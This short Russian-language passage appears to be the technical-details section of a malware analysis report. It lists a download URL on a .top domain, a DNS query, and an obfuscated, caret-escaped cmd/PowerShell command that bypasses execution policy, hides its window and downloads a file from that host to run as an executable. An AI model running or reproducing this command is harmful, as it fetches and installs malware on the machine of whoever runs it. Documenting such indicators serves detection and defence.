Техническая информация
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PO^W^E^rS^H^elL^.^eX^E^ -e^x^Ecu^tIo^NPOLI^c^y^ ^B^yp^ASS -noP^ROfIL^E ^-wIn^D^owst^Yle^ hid^De^n (n^E^W-^obJE^c^T Sys^t^E^M.N^eT.web^Cl^i^eNt).DoWnloa^D^fI^LE(^'http://zofela...
- DNS ASK zo###aseo.top
- '<SYSTEM32>\cmd.exe' /C "PO^W^E^rS^H^elL^.^eX^E^ -e^x^Ecu^tIo^NPOLI^c^y^ ^B^yp^ASS -noP^ROfIL^E ^-wIn^D^owst^Yle^ hid^De^n (n^E^W-^obJE^c^T Sys^t^E^M.N^eT.web^Cl^i^eNt).DoWnloa^D^fI^LE(^'http://zofela...' (со скрытым окном)